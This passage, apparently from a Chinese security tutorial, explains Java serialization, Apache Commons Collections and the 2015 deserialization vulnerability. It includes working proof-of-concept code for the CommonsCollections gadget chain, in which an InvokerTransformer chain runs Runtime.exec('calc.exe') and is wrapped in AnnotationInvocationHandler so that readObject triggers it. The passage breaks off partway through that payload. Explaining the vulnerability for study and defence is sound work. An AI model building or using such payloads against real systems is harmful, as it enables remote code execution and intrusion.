catch(IOException i)
{
i.printStackTrace();
return;
} System.out.println("Deserialized Employee...");
System.out.println("Name: " + e.name);
System.out.println("Address: " + e.address);
System.out.println("SSN: " + e.SSN);
System.out.println("Number: " + e.number);
}
}
aaarticlea/png;base64,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" alt="" />
这里要注意以下要点
. readObject() 方法中的try/catch代码块尝试捕获 ClassNotFoundException异常。对于JVM可以反序列化对象,它必须是能够找到字节码的类。如果JVM在反序列化对象的过程中找不到该类,则抛出一个 ClassNotFoundException异常
. readObject()方法的返回值被转化成Employee引用。
. 当对象被序列化时,属性SSN的值为111222333,但是因为该属性是短暂的,该值没有被发送到输出流。所以反序列化后Employee对象的SSN属性为0
Relevant Link:
http://www.runoob.com/java/java-serialization.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
2. Commons Collections
The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities. There are many features, including:
. Bag interface for collections that have a number of copies of each object
. BidiMap interface for maps that can be looked up from value to key as well and key to value
. MapIterator interface to provide simple and quick iteration over maps
. Transforming decorators that alter each object as it is added to the collection
. Composite collections that make multiple collections look like one
. Ordered maps and sets that retain the order elements are added in, including an LRU based map
. Reference map that allows keys and/or values to be garbage collected under close control
. Many comparator implementations
. Many iterator implementations
. Adapter classes from array and enumerations to collections
. Utilities to test or create typical set-theory properties of collections such as union, intersection, and closure
从本质上说,Apache Commons Collections是一个Java基础容器的封装类,它提供了很多强大有用的接口,同时也包括有数据类型转换函数,这次的漏洞就处在这些转换函数上,由于在转换前没有对输入的参数进行类型检查,导致恶意代码注入
Relevant Link:
http://www.blogjava.net/heis/archive/2010/01/12/309239.html
https://commons.apache.org/proper/commons-collections/
https://commons.apache.org/proper/commons-collections/download_collections.cgi
3. Java反序列化漏洞
0x1: 背景
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。
确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角
0x2: 漏洞成因
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码
public static void main(String args[]) throws Exception {
String obj = "hello world!"; // 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close(); // 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度
0x3: 利用Apache Commons Collections实现远程代码执行
以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,完成这一操作的decorate()函数如下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
{
//decorate是我们人工构造的,目的是从任意Map对象生成相应的TransformedMap
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\Transformer.java
public interface Transformer<I, O> { /**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
O transform(I input); }
当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\functors\InvokerTransformer.java
public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable
{
..
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
{
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
} .. /**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
@SuppressWarnings("unchecked")
public O transform(final Object input)
{
if (input == null)
{
return null;
}
try
{
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}
catch (final NoSuchMethodException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
}
catch (final IllegalAccessException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
}
catch (final InvocationTargetException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
从代码中可以看到,只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer
package test; import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; public class transformersTest
{
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{
String.class, Class[].class
},
new Object[]{"getRuntime", new Class[] }),
new InvokerTransformer("invoke", new Class[]
{
Object.class, Object[].class
},
new Object[] {null, new Object[] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
当上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:首先通过ConstantTransformer获得Runtime类,进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe
但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示
\openjdk\jdk\src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java
class AnnotationInvocationHandler implements InvocationHandler, Serializable
{
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
{
this.type = type;
this.memberValues = memberValues;
} ..
//AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException
{
s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try
{
annotationType = AnnotationType.getInstance(type);
}
catch(IllegalArgumentException e)
{
// Class is no longer an annotation type; all bets are off
return;
} Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
{
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null)
{ // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
{
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
}
}
}
}
}
因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下
package test; import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; public class readObjectRCE
{
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException
{
Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{
String.class, Class[].class
},
new Object[]{"getRuntime", new Class[] }),
new InvokerTransformer("invoke", new Class[]
{
Object.class, Object[].class
},
new Object[] {null, new Object[] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
